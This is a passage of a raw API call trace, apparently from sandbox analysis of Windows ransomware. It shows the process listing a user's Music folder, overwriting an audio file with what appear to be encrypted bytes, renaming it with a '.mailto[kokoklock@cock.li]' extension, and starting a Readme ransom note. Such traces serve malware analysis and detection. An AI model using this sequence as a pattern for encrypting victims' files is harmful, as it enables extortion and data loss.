RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcf20 [0069.160] wcscpy (in: _Dest=0x33fcf20, _Source="C:\\Users\\FD1HVy\\Music\\RKFI" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI") returned="C:\\Users\\FD1HVy\\Music\\RKFI" [0069.160] wcscat (in: _Dest=0x33fcf20, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\" [0069.160] wcscat (in: _Dest=0x33fcf20, _Source="7xPr" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr" [0070.472] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33fcf20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x764 [0070.472] FindNextFileW (in: hFindFile=0x3433ba8, lpFindFileData=0x3429530 | out: lpFindFileData=0x3429530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb977d70, ftCreationTime.dwHighDateTime=0x1d4cace, ftLastAccessTime.dwLowDateTime=0x9359a5d0, ftLastAccessTime.dwHighDateTime=0x1d4ca74, ftLastWriteTime.dwLowDateTime=0x9359a5d0, ftLastWriteTime.dwHighDateTime=0x1d4ca74, nFileSizeHigh=0x0, nFileSizeLow=0x163f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="ciOHVeUB6iQ2hNa-h.mp3", cAlternateFileName="CIOHVE~1.MP3")) returned 1 [0070.472] wcscmp (_String1="ciOHVeUB6iQ2hNa-h.mp3", _String2=".") returned 1 [0070.472] wcscmp (_String1="ciOHVeUB6iQ2hNa-h.mp3", _String2="..") returned 1 [0070.472] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x62) returned 0x347e180 [0070.472] wcscpy (in: _Dest=0x347e180, _Source="C:\\Users\\FD1HVy\\Music\\RKFI" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI") returned="C:\\Users\\FD1HVy\\Music\\RKFI" [0070.472] wcscat (in: _Dest=0x347e180, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\" [0070.472] wcscat (in: _Dest=0x347e180, _Source="ciOHVeUB6iQ2hNa-h.mp3" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\ciOHVeUB6iQ2hNa-h.mp3") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\ciOHVeUB6iQ2hNa-h.mp3" [0070.472] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347e180, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x36c [0070.473] FindNextFileW (in: hFindFile=0x3433ba8, lpFindFileData=0x3429530 | out: lpFindFileData=0x3429530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a0989c0, ftCreationTime.dwHighDateTime=0x1d4d3b0, ftLastAccessTime.dwLowDateTime=0xd67f28b0, ftLastAccessTime.dwHighDateTime=0x1d4c6f2, ftLastWriteTime.dwLowDateTime=0xd67f28b0, ftLastWriteTime.dwHighDateTime=0x1d4c6f2, nFileSizeHigh=0x0, nFileSizeLow=0x1255b, dwReserved0=0x0, dwReserved1=0x0, cFileName="FdT4_bM.wav", cAlternateFileName="")) returned 1 [0070.473] wcscmp (_String1="FdT4_bM.wav", _String2=".") returned 1 [0070.473] wcscmp (_String1="FdT4_bM.wav", _String2="..") returned 1 [0070.473] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4e) returned 0x3430d30 [0070.473] wcscpy (in: _Dest=0x3430d30, _Source="C:\\Users\\FD1HVy\\Music\\RKFI" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI") returned="C:\\Users\\FD1HVy\\Music\\RKFI" [0070.473] wcscat (in: _Dest=0x3430d30, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\" [0070.473] wcscat (in: _Dest=0x3430d30, _Source="FdT4_bM.wav" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\FdT4_bM.wav") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\FdT4_bM.wav" [0070.473] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3430d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6b0 [0070.474] FindNextFileW (in: hFindFile=0x3433ba8, lpFindFileData=0x3429530 | out: lpFindFileData=0x3429530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdca66c50, ftCreationTime.dwHighDateTime=0x1d4ca47, ftLastAccessTime.dwLowDateTime=0x4c8c4660, ftLastAccessTime.dwHighDateTime=0x1d4c7b0, ftLastWriteTime.dwLowDateTime=0x4c8c4660, ftLastWriteTime.dwHighDateTime=0x1d4c7b0, nFileSizeHigh=0x0, nFileSizeLow=0xc1c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="L4mVU2o2Nsy.wav", cAlternateFileName="L4MVU2~1.WAV")) returned 1 [0070.474] wcscmp (_String1="L4mVU2o2Nsy.wav", _String2=".") returned 1 [0070.474] wcscmp (_String1="L4mVU2o2Nsy.wav", _String2="..") returned 1 [0070.474] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x56) returned 0x34802a0 [0070.474] wcscpy (in: _Dest=0x34802a0, _Source="C:\\Users\\FD1HVy\\Music\\RKFI" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI") returned="C:\\Users\\FD1HVy\\Music\\RKFI" [0070.474] wcscat (in: _Dest=0x34802a0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\" [0070.474] wcscat (in: _Dest=0x34802a0, _Source="L4mVU2o2Nsy.wav" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\L4mVU2o2Nsy.wav") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\L4mVU2o2Nsy.wav" [0070.474] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34802a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6b4 [0070.475] FindNextFileW (in: hFindFile=0x3433ba8, lpFindFileData=0x3429530 | out: lpFindFileData=0x3429530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfe61d20, ftCreationTime.dwHighDateTime=0x1d4c953, ftLastAccessTime.dwLowDateTime=0xad444330, ftLastAccessTime.dwHighDateTime=0x1d4c612, ftLastWriteTime.dwLowDateTime=0xad444330, ftLastWriteTime.dwHighDateTime=0x1d4c612, nFileSizeHigh=0x0, nFileSizeLow=0x4e5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="oimDYv2chNoPOq8FJjK.mp3", cAlternateFileName="OIMDYV~1.MP3")) returned 1 [0070.475] wcscmp (_String1="oimDYv2chNoPOq8FJjK.mp3", _String2=".") returned 1 [0070.475] wcscmp (_String1="oimDYv2chNoPOq8FJjK.mp3", _String2="..") returned 1 [0070.475] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x66) returned 0x347da80 [0070.475] wcscpy (in: _Dest=0x347da80, _Source="C:\\Users\\FD1HVy\\Music\\RKFI" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI") returned="C:\\Users\\FD1HVy\\Music\\RKFI" [0070.475] wcscat (in: _Dest=0x347da80, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\" [0070.475] wcscat (in: _Dest=0x347da80, _Source="oimDYv2chNoPOq8FJjK.mp3" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\oimDYv2chNoPOq8FJjK.mp3") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\oimDYv2chNoPOq8FJjK.mp3" [0070.475] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347da80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6bc [0070.476] FindNextFileW (in: hFindFile=0x3433ba8, lpFindFileData=0x3429530 | out: lpFindFileData=0x3429530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9097ec0, ftCreationTime.dwHighDateTime=0x1d4c61c, ftLastAccessTime.dwLowDateTime=0x4b135280, ftLastAccessTime.dwHighDateTime=0x1d4d5c8, ftLastWriteTime.dwLowDateTime=0x4b135280, ftLastWriteTime.dwHighDateTime=0x1d4d5c8, nFileSizeHigh=0x0, nFileSizeLow=0x7a19, dwReserved0=0x0, dwReserved1=0x0, cFileName="p06GaNFXGZG087a_slOi.m4a", cAlternateFileName="P06GAN~1.M4A")) returned 1 [0070.476] wcscmp (_String1="p06GaNFXGZG087a_slOi.m4a", _String2=".") returned 1 [0070.476] wcscmp (_String1="p06GaNFXGZG087a_slOi.m4a", _String2="..") returned 1 [0070.476] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x68) returned 0x347e1f0 [0070.476] wcscpy (in: _Dest=0x347e1f0, _Source="C:\\Users\\FD1HVy\\Music\\RKFI" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI") returned="C:\\Users\\FD1HVy\\Music\\RKFI" [0070.476] wcscat (in: _Dest=0x347e1f0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\" [0070.476] wcscat (in: _Dest=0x347e1f0, _Source="p06GaNFXGZG087a_slOi.m4a" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\p06GaNFXGZG087a_slOi.m4a") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\p06GaNFXGZG087a_slOi.m4a" [0070.476] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347e1f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5d0 [0070.476] FindNextFileW (in: hFindFile=0x3433ba8, lpFindFileData=0x3429530 | out: lpFindFileData=0x3429530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x236bc1b0, ftCreationTime.dwHighDateTime=0x1d4ce5a, ftLastAccessTime.dwLowDateTime=0x4f3b8ca0, ftLastAccessTime.dwHighDateTime=0x1d4d1dc, ftLastWriteTime.dwLowDateTime=0x4f3b8ca0, ftLastWriteTime.dwHighDateTime=0x1d4d1dc, nFileSizeHigh=0x0, nFileSizeLow=0x10a34, dwReserved0=0x0, dwReserved1=0x0, cFileName="rkmf1YGOvc9D w.m4a", cAlternateFileName="RKMF1Y~1.M4A")) returned 1 [0070.477] wcscmp (_String1="rkmf1YGOvc9D w.m4a", _String2=".") returned 1 [0070.477] wcscmp (_String1="rkmf1YGOvc9D w.m4a", _String2="..") returned 1 [0070.477] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5c) returned 0x3427680 [0070.477] wcscpy (in: _Dest=0x3427680, _Source="C:\\Users\\FD1HVy\\Music\\RKFI" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI") returned="C:\\Users\\FD1HVy\\Music\\RKFI" [0070.477] wcscat (in: _Dest=0x3427680, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\" [0070.477] wcscat (in: _Dest=0x3427680, _Source="rkmf1YGOvc9D w.m4a" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\rkmf1YGOvc9D w.m4a") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\rkmf1YGOvc9D w.m4a" [0070.477] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3427680, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6c4 [0070.477] FindNextFileW (in: hFindFile=0x3433ba8, lpFindFileData=0x3429530 | out: lpFindFileData=0x3429530*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4f61dc0, ftCreationTime.dwHighDateTime=0x1d4ccca, ftLastAccessTime.dwLowDateTime=0xf73b96b0, ftLastAccessTime.dwHighDateTime=0x1d4d37c, ftLastWriteTime.dwLowDateTime=0xf73b96b0, ftLastWriteTime.dwHighDateTime=0x1d4d37c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rvjx7IJH7o9Lf", cAlternateFileName="RVJX7I~1")) returned 1 [0070.477] wcscmp (_String1="Rvjx7IJH7o9Lf", _String2=".") returned 1 [0070.477] wcscmp (_String1="Rvjx7IJH7o9Lf", _String2="..") returned 1 [0070.477] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x52) returned 0x3480360 [0070.477] wcscpy (in: _Dest=0x3480360, _Source="C:\\Users\\FD1HVy\\Music\\RKFI" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI") returned="C:\\Users\\FD1HVy\\Music\\RKFI" [0070.477] wcscat (in: _Dest=0x3480360, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\" [0070.478] wcscat (in: _Dest=0x3480360, _Source="Rvjx7IJH7o9Lf" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf" [0070.478] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3480360, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b0 [0070.478] FindNextFileW (in: hFindFile=0x3433ba8, lpFindFileData=0x3429530 | out: lpFindFileData=0x3429530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d7aaf90, ftCreationTime.dwHighDateTime=0x1d4d0b3, ftLastAccessTime.dwLowDateTime=0x20938a40, ftLastAccessTime.dwHighDateTime=0x1d4d3d2, ftLastWriteTime.dwLowDateTime=0x20938a40, ftLastWriteTime.dwHighDateTime=0x1d4d3d2, nFileSizeHigh=0x0, nFileSizeLow=0x18bde, dwReserved0=0x0, dwReserved1=0x0, cFileName="zkjqfivUBc91OuQLHWt5.wav", cAlternateFileName="ZKJQFI~1.WAV")) returned 1 [0070.478] wcscmp (_String1="zkjqfivUBc91OuQLHWt5.wav", _String2=".") returned 1 [0070.478] wcscmp (_String1="zkjqfivUBc91OuQLHWt5.wav", _String2="..") returned 1 [0070.478] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x68) returned 0x347e260 [0070.478] wcscpy (in: _Dest=0x347e260, _Source="C:\\Users\\FD1HVy\\Music\\RKFI" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI") returned="C:\\Users\\FD1HVy\\Music\\RKFI" [0070.478] wcscat (in: _Dest=0x347e260, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\" [0070.478] wcscat (in: _Dest=0x347e260, _Source="zkjqfivUBc91OuQLHWt5.wav" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\zkjqfivUBc91OuQLHWt5.wav") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\zkjqfivUBc91OuQLHWt5.wav" [0070.478] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347e260, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b4 [0070.479] FindNextFileW (in: hFindFile=0x3433ba8, lpFindFileData=0x3429530 | out: lpFindFileData=0x3429530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d7aaf90, ftCreationTime.dwHighDateTime=0x1d4d0b3, ftLastAccessTime.dwLowDateTime=0x20938a40, ftLastAccessTime.dwHighDateTime=0x1d4d3d2, ftLastWriteTime.dwLowDateTime=0x20938a40, ftLastWriteTime.dwHighDateTime=0x1d4d3d2, nFileSizeHigh=0x0, nFileSizeLow=0x18bde, dwReserved0=0x0, dwReserved1=0x0, cFileName="zkjqfivUBc91OuQLHWt5.wav", cAlternateFileName="ZKJQFI~1.WAV")) returned 0 [0070.479] FindClose (in: hFindFile=0x3433ba8 | out: hFindFile=0x3433ba8) returned 1 [0070.479] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3429530) returned 1 [0070.479] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd280) returned 1 [0070.479] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34338e8) returned 1 [0070.479] RtlExitUserThread (Status=0x0) Thread: id = 404 os_tid = 0x1014 [0069.160] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\SaddU8qud.m4a" (normalized: "c:\\users\\fd1hvy\\music\\saddu8qud.m4a")) returned 0x20 [0069.160] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\SaddU8qud.m4a", dwFileAttributes=0x20) returned 1 [0069.160] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\SaddU8qud.m4a" (normalized: "c:\\users\\fd1hvy\\music\\saddu8qud.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x764 [0069.161] GetFileSizeEx (in: hFile=0x764, lpFileSize=0x117bf9a4 | out: lpFileSize=0x117bf9a4*=78206) returned 1 [0069.161] SetFilePointerEx (in: hFile=0x764, liDistanceToMove=0x1317a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.161] ReadFile (in: hFile=0x764, lpBuffer=0x117bf978, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x117bf974, lpOverlapped=0x0 | out: lpBuffer=0x117bf978*, lpNumberOfBytesRead=0x117bf974*=0x4, lpOverlapped=0x0) returned 1 [0069.161] SetFilePointerEx (in: hFile=0x764, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.161] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423d80 [0069.161] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cdd0 [0069.161] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4918 [0069.161] NtQuerySystemTime (in: CurrentTime=0x117bf950 | out: CurrentTime=0x117bf950*=132121176270568574) returned 0x0 [0069.161] RtlRandom (in: Seed=0x117bf95c | out: Seed=0x117bf95c) returned 0x626c89a3 [0069.161] RtlRandom (in: Seed=0x117bf95c | out: Seed=0x117bf95c) returned 0x7da138f8 [0069.161] RtlRandom (in: Seed=0x117bf95c | out: Seed=0x117bf95c) returned 0x5c22a003 [0069.161] RtlRandom (in: Seed=0x117bf95c | out: Seed=0x117bf95c) returned 0x610fc995 [0069.161] RtlRandom (in: Seed=0x117bf95c | out: Seed=0x117bf95c) returned 0x8f3747a6 [0069.161] RtlRandom (in: Seed=0x117bf95c | out: Seed=0x117bf95c) returned 0x41bd70f1 [0069.161] RtlRandom (in: Seed=0x117bf95c | out: Seed=0x117bf95c) returned 0xfe400c4c [0069.161] RtlRandom (in: Seed=0x117bf95c | out: Seed=0x117bf95c) returned 0xc1fe6c32 [0069.161] RtlRandom (in: Seed=0x117bf95c | out: Seed=0x117bf95c) returned 0x9181526f [0069.161] RtlRandom (in: Seed=0x117bf95c | out: Seed=0x117bf95c) returned 0x1511df2 [0069.161] RtlRandom (in: Seed=0x117bf95c | out: Seed=0x117bf95c) returned 0x7cf9479d [0069.161] RtlRandom (in: Seed=0x117bf95c | out: Seed=0x117bf95c) returned 0x1b0b7237 [0069.161] RtlRandom (in: Seed=0x117bf95c | out: Seed=0x117bf95c) returned 0xe84c8427 [0069.161] RtlRandom (in: Seed=0x117bf95c | out: Seed=0x117bf95c) returned 0x186a6f73 [0069.161] RtlRandom (in: Seed=0x117bf95c | out: Seed=0x117bf95c) returned 0xc35051b1 [0069.161] RtlRandom (in: Seed=0x117bf95c | out: Seed=0x117bf95c) returned 0xebe11106 [0069.161] RtlRandom (in: Seed=0x117bf95c | out: Seed=0x117bf95c) returned 0x34670eac [0069.162] RtlRandom (in: Seed=0x117bf95c | out: Seed=0x117bf95c) returned 0x5a72dcd1 [0069.162] RtlRandom (in: Seed=0x117bf95c | out: Seed=0x117bf95c) returned 0x9c227856 [0069.162] RtlRandom (in: Seed=0x117bf95c | out: Seed=0x117bf95c) returned 0x8612cd94 [0069.162] RtlRandom (in: Seed=0x117bf95c | out: Seed=0x117bf95c) returned 0x715c6fd0 [0069.162] RtlRandom (in: Seed=0x117bf95c | out: Seed=0x117bf95c) returned 0x84bc9d40 [0069.162] RtlRandom (in: Seed=0x117bf95c | out: Seed=0x117bf95c) returned 0x2736aae6 [0069.162] RtlRandom (in: Seed=0x117bf95c | out: Seed=0x117bf95c) returned 0xc9ce87d6 [0069.162] RtlRandom (in: Seed=0x117bf95c | out: Seed=0x117bf95c) returned 0x8626a485 [0069.162] RtlRandom (in: Seed=0x117bf95c | out: Seed=0x117bf95c) returned 0x7df407b6 [0069.162] RtlRandom (in: Seed=0x117bf95c | out: Seed=0x117bf95c) returned 0x9ce51c14 [0069.162] RtlRandom (in: Seed=0x117bf95c | out: Seed=0x117bf95c) returned 0x2288394b [0069.162] RtlRandom (in: Seed=0x117bf95c | out: Seed=0x117bf95c) returned 0x8d97e401 [0069.162] RtlRandom (in: Seed=0x117bf95c | out: Seed=0x117bf95c) returned 0x6c047c7a [0069.162] RtlRandom (in: Seed=0x117bf95c | out: Seed=0x117bf95c) returned 0x90455361 [0069.162] RtlRandom (in: Seed=0x117bf95c | out: Seed=0x117bf95c) returned 0x1dd43c15 [0069.173] SetFilePointerEx (in: hFile=0x764, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.173] ReadFile (in: hFile=0x764, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x117bf928, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x117bf928*=0x4096, lpOverlapped=0x0) returned 1 [0069.173] SetFilePointerEx (in: hFile=0x764, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.173] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd2c8 [0069.173] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479a60 [0069.173] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c220 [0069.173] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c220) returned 1 [0069.174] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3486220 [0069.174] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c090 [0069.174] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bff0 [0069.174] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bff0) returned 1 [0069.174] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0069.174] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0069.174] WriteFile (in: hFile=0x764, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x117bf928, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0x117bf928*=0x4096, lpOverlapped=0x0) returned 1 [0069.174] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0069.174] SetFilePointerEx (in: hFile=0x764, liDistanceToMove=0x1317e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.175] WriteFile (in: hFile=0x764, lpBuffer=0x342c090*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x117bf960, lpOverlapped=0x0 | out: lpBuffer=0x342c090*, lpNumberOfBytesWritten=0x117bf960*=0x20, lpOverlapped=0x0) returned 1 [0069.175] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c090) returned 1 [0069.175] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0069.175] WriteFile (in: hFile=0x764, lpBuffer=0x342c0e0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x117bf974, lpOverlapped=0x0 | out: lpBuffer=0x342c0e0*, lpNumberOfBytesWritten=0x117bf974*=0x8, lpOverlapped=0x0) returned 1 [0069.175] WriteFile (in: hFile=0x764, lpBuffer=0x117bf98c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x117bf974, lpOverlapped=0x0 | out: lpBuffer=0x117bf98c*, lpNumberOfBytesWritten=0x117bf974*=0x4, lpOverlapped=0x0) returned 1 [0069.175] WriteFile (in: hFile=0x764, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x117bf974, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x117bf974*=0x4, lpOverlapped=0x0) returned 1 [0069.175] WriteFile (in: hFile=0x764, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x117bf974, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x117bf974*=0x6c, lpOverlapped=0x0) returned 1 [0069.175] WriteFile (in: hFile=0x764, lpBuffer=0x347cdd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x117bf974, lpOverlapped=0x0 | out: lpBuffer=0x347cdd0*, lpNumberOfBytesWritten=0x117bf974*=0x20, lpOverlapped=0x0) returned 1 [0069.175] WriteFile (in: hFile=0x764, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x117bf974, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x117bf974*=0x4, lpOverlapped=0x0) returned 1 [0069.175] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cdd0) returned 1 [0069.175] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f00d0) returned 1 [0069.175] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c0e0) returned 1 [0069.175] CloseHandle (hObject=0x764) returned 1 [0069.178] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x3424900 [0069.178] wcscpy (in: _Dest=0x3424900, _Source="C:\\Users\\FD1HVy\\Music\\SaddU8qud.m4a" | out: _Dest="C:\\Users\\FD1HVy\\Music\\SaddU8qud.m4a") returned="C:\\Users\\FD1HVy\\Music\\SaddU8qud.m4a" [0069.178] wcscat (in: _Dest=0x3424900, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\SaddU8qud.m4a.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\SaddU8qud.m4a.mailto[kokoklock@cock.li].d0e731" [0069.178] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\SaddU8qud.m4a" (normalized: "c:\\users\\fd1hvy\\music\\saddu8qud.m4a"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\SaddU8qud.m4a.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\saddu8qud.m4a.mailto[kokoklock@cock.li].d0e731")) returned 1 [0069.178] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\SaddU8qud.m4a.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0069.179] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3424900) returned 1 [0069.179] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\SaddU8qud.m4a", dwFileAttributes=0x20) returned 0 [0069.179] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x52) returned 0x3480300 [0069.179] wcscpy (in: _Dest=0x3480300, _Source="C:\\Users\\FD1HVy\\Music\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\") returned="C:\\Users\\FD1HVy\\Music\\" [0069.179] wcscat (in: _Dest=0x3480300, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Music\\D0E731-Readme.txt") 